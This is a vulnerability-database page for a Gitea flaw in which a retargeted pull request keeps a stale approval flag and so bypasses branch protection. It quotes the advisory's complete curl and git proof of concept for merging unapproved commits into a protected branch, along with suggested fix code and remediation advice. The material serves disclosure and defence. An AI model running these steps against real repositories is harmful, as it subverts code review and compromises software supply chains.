Skip to main content

Gitea CVE-2026-58439

| EUVDEUVD-2026-58166 HIGH
Incorrect Authorization (CWE-863)
2026-07-21 https://github.com/go-gitea/gitea GHSA-w5pg-649r-p6gg
8.1
CVSS 3.1 · Vendor: https://github.com/go-gitea/gitea
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Gain write access as collaborator
  2. Delivery
    Create unprotected temp branch
  3. Exploit
    Open PR targeting unprotected branch
  4. Execution
    Second account approves (official=true)
  5. Persist
    Retarget PR to protected master
  6. Impact
    Merge stale-approved malicious commit

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization logic validation
MITRE ATT&CK

1 technique across 1 tactic: Privilege Escalation

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires the repository to have a protected branch configured with an approval whitelist and required approvals >= 1, plus the ability to create a second unprotected branch (or any branch not covered by protection rules) to receive the initial approval. The attacker needs write/push access to the repository and the ability to create pull requests, and needs a second non-admin account to submit the approval on the unprotected branch. Exploitation does NOT require admin access, membership in the protected branch's approval whitelist, or any action by the legitimate designated approvers. Limiting factors: the attacker must be an authenticated collaborator with write privileges (PR:L), so anonymous exploitation is impossible; the target must use the approval-whitelist branch-protection feature (installations relying on other gates such as required status checks are not bypassed by this technique alone); and the PR-retarget workflow must be available.

Impact

The provided CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H, base 8.1) is internally consistent with the described attack: network-reachable API, low complexity, and low privileges (write-but-not-admin), with high integrity and availability impact and no confidentiality impact. The realism check is favorable - the PoC demonstrates a deterministic, non-race exploit requiring only ordinary API calls, so exploitation is reliable rather than probabilistic. The key limiting factor not captured by a raw high CVSS is the collaborator prerequisite: the attacker must already hold write access to the target repository, which confines the threat to insider/compromised-collaborator scenarios rather than anonymous internet attackers. No EPSS score, KEV listing, or SSVC decision data was provided, so widespread automated exploitation cannot be inferred; the practical priority is high for organizations that rely on approval whitelists as their sole merge gate but is bounded by the trust already extended to write-access users. A/I impact of High is arguably generous for a governance-bypass (no direct system compromise), so treat the 8.1 as reflecting supply-chain/code-integrity risk rather than host takeover.

Exploit ScenarioDerived

A malicious collaborator with write access opens a PR containing a malicious commit against a temporary unprotected branch, has a second non-whitelisted account approve it (recorded as official=true because that branch has no protection), then retargets the PR to the protected master branch via the pulls PATCH API. The stale approval still counts, so the attacker merges unreviewed code into master. A complete, working PoC using only curl/git API calls is published in the GHSA advisory, making the attack straightforward to reproduce.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 21, 2026

Branch protection bypass in Gitea versions prior to 1.27.0 allows a user with write (non-admin) access to merge unauthorized code into a protected branch by exploiting a stale approval flag. When a pull request is retargeted from an unprotected branch to a protected one via ChangeTargetBranch, Gitea fails to re-evaluate the stored official=true flag on existing approvals, so an approval that was never valid under the protected branch's whitelist still satisfies its required-approvals gate. Publicly available exploit code exists (a detailed step-by-step PoC in the GHSA advisory); no public exploit identified as actively used and it is not in CISA KEV.

RemediationAI

Vendor-released patch: upgrade Gitea to 1.27.0 or later, which adds RecalculateReviewsOfficial (PR https://github.com/go-gitea/gitea/pull/38319 and https://github.com/go-gitea/gitea/pull/38402) to re-evaluate the official flag on all approve/reject reviews whenever a PR's target branch changes. Until you can upgrade, reduce exposure with targeted compensating controls: restrict who holds write/push access on repositories with protected branches (the exploit requires a non-admin collaborator, so tightening collaborator lists directly shrinks the attack surface); avoid relying solely on approval-whitelist counts by additionally enabling stricter merge gates such as required status checks or requiring re-approval on new commits; and operationally monitor for PRs whose base branch was changed after receiving approvals (the audit trail includes a 'change target branch' comment) and re-review or dismiss approvals on any retargeted PR before merge. The trade-off of manual review-dismissal is added maintainer workload, and disabling the retarget capability is not natively configurable, so procedural review remains the main stopgap. Reference the advisory at https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg.

Affected VersionsENISA

Gitea Open Source Git Server 0 ≤1.26.4

Affected Packages

go code.gitea.io/gitea fix: 1.27.0
go go-gitea/gitea fix: 1.27.0
euvd gitea_open_source_git_server no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Gitea is a self-hosted Git service written in Go (package code.gitea.io/gitea). The flaw sits in its branch-protection and code-review logic. When a review is submitted, services/pull/review.go:SubmitReview calls IsUserOfficialReviewer (models/git/protected_branch.go) against the PR's current base branch and persists a boolean official flag on the review record. Merge eligibility is later computed by GetGrantedApprovalsCount (models/issues/pull.go:766), which simply counts stored reviews where official=true AND dismissed=false AND type=Approve - it reads the cached boolean rather than re-checking the whitelist. Because ChangeTargetBranch (services/pull/pull.go) mutates pr.BaseBranch without recomputing or dismissing existing reviews, the stored flag becomes stale. This is a classic CWE-863 Incorrect Authorization: an authorization decision (is this an official/whitelisted approval for THIS branch?) is made once and never re-validated when the protected resource under evaluation changes.

Know when Gitea gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/go-gitea/gitea) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
vuln.today AI 6.5 MEDIUM

Network API, low complexity, requires write-access collaborator (PR:L) with no user interaction; impact is code-integrity bypass (I:H) with no confidentiality or direct availability loss (C:N/A:N).

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE HIGH
Red Hat 7.7 HIGH

Primary rating from Vendor (https://github.com/go-gitea/gitea).

CVSS VectorVendor: https://github.com/go-gitea/gitea

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

DescriptionCVE.org

Summary

Gitea does not re-evaluate the official flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an official: true approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., master). The approval, which would have been official: false if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

  • Confirmed on Gitea 1.25.4 (1.25.4+41-g96515c0f20)

Vulnerability Details

Root Cause

When a review is submitted on a pull request, Gitea computes the official flag by checking whether the reviewer is in the target branch's approval whitelist (IsUserOfficialReviewer in models/git/protected_branch.go). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via ChangeTargetBranch (services/pull/pull.go:218), the function:

  • Updates pr.BaseBranch
  • Recalculates merge feasibility and divergence
  • Deletes old push comments
  • Creates a "change target branch" comment

But it does not:

  • Re-evaluate official on existing reviews
  • Dismiss existing approvals
  • Check whether reviewers are in the new target branch's approval whitelist

At merge time, GetGrantedApprovalsCount (models/issues/pull.go:766) counts reviews where official = true AND dismissed = false AND type = Approve. It reads the stored boolean - it does not re-check the whitelist. The stale official: true from the unprotected branch satisfies the protected branch's approval requirement.

Relevant Code Paths

  1. Review creation - services/pull/review.go:SubmitReview calls IsOfficialReviewer against the current pr.BaseBranch's protection rules, stores official=true/false
  2. Target branch change - services/pull/pull.go:ChangeTargetBranch modifies pr.BaseBranch but does not touch existing reviews
  3. Merge check - services/pull/check.go:CheckPullMergeable → models/issues/pull.go:GetGrantedApprovalsCount counts stored official=true reviews without re-evaluating against the new branch's whitelist

Prerequisites

The attacker needs:

  • Write (push) access to the repository (collaborator with write role, or the ability to create branches - not admin)
  • The ability to create pull requests (standard for any user with push access)
  • A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does not need:

  • Admin access
  • To be in the approval whitelist for the protected branch
  • Any interaction from the branch protection's designated approvers

Proof of Concept

Setup

Repository owner/repo with branch master protected:

  • Required approvals: 1
  • Approval whitelist enabled, containing only user admin-reviewer
  • User attacker has write access but is not in the approval whitelist

Steps

bash
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"
# any non-whitelisted user
# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'
# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch
# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N
# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true
# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'
# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false
# 7. Merge - succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK - malicious commit is now on master

Observed API Responses

Step 4 - Approval on unprotected branch:

json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}

Step 6 - Same approval after retarget to protected master:

json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}

The official flag is unchanged. Under the protected branch's rules, this user's approval should be official: false.

Impact

  • Branch protection bypass: Protected branches with approval whitelists can be merged into without any whitelisted user approving
  • Privilege escalation: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

Suggested Fix

Re-evaluate the official flag on all existing reviews when a PR's target branch changes. In services/pull/pull.go:ChangeTargetBranch, after updating pr.BaseBranch:

go
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

go
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}

Executive ViewAI

Why It Matters

Gitea versions prior to 1.27.0 contain a flaw that allows employees with repository write access to bypass code approval requirements and merge unapproved changes directly into protected branches. This vulnerability can enable unauthorized code injection into production systems, compromising code integrity and potentially affecting deployed applications. Publicly available exploit code exists, though active exploitation has not been documented.

Business Impact: High
Compensating Controls

Apply vendor patch: Gitea 1.27.0 or later

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Medium
popular self-hosted Git service, common but not universally deployed
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

More in Gitea

View all
CVE-2026-60004 CRITICAL POC
9.8

Remote code execution in Gitea (self-hosted Git service) via a code-injection flaw (CWE-94) allows attackers to run arbi

CVE-2026-27771 HIGH POC
8.2 Jul 03

Broken access control in Gitea's Composer package registry (versions up to and including 1.26.1) lets remote attackers r

CVE-2022-30781 HIGH POC
7.5 May 16

Gitea before 1.16.7 does not escape git fetch remote. Rated high severity (CVSS 7.5), this vulnerability is remotely exp

CVE-2020-14144 HIGH POC
7.2 Oct 16

The git hook feature in Gitea 1.1.0 through 1.12.5 might allow for authenticated remote code execution in customer envir

CVE-2024-6886 CRITICAL POC
10.0 Aug 06

Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Gitea Gitea

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-20896 CRITICAL POC
9.8 Jul 03

Reverse-proxy authentication bypass in the official Gitea Docker image (versions up to and including 1.26.2) allows any

CVE-2026-59774 CRITICAL POC
9.8

Path traversal in Gitea's Org-mode (`.org`) markup renderer allows an attacker who can get Org-mode content rendered by

CVE-2026-58053 CRITICAL POC
9.4 Jun 28

Container escape in Gitea act_runner (Docker backend, through act 0.262.0) lets an authenticated user with workflow-exec

CVE-2019-11229 HIGH POC
8.8 Apr 15

models/repo_mirror.go in Gitea before 1.7.6 and 1.8.x before 1.8-RC3 mishandles mirror repo URL settings, leading to rem

CVE-2026-57894 HIGH POC
8.5 Jul 21

Server-side request forgery and internal repository exfiltration in Gitea before 1.27.0 lets a low-privileged authentica

CVE-2026-24791 HIGH POC
8.1 Jun 17

Authorization bypass in Gitea versions 1.22.3 through 1.26.1 allows holders of `public-only` access tokens or OAuth gran

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy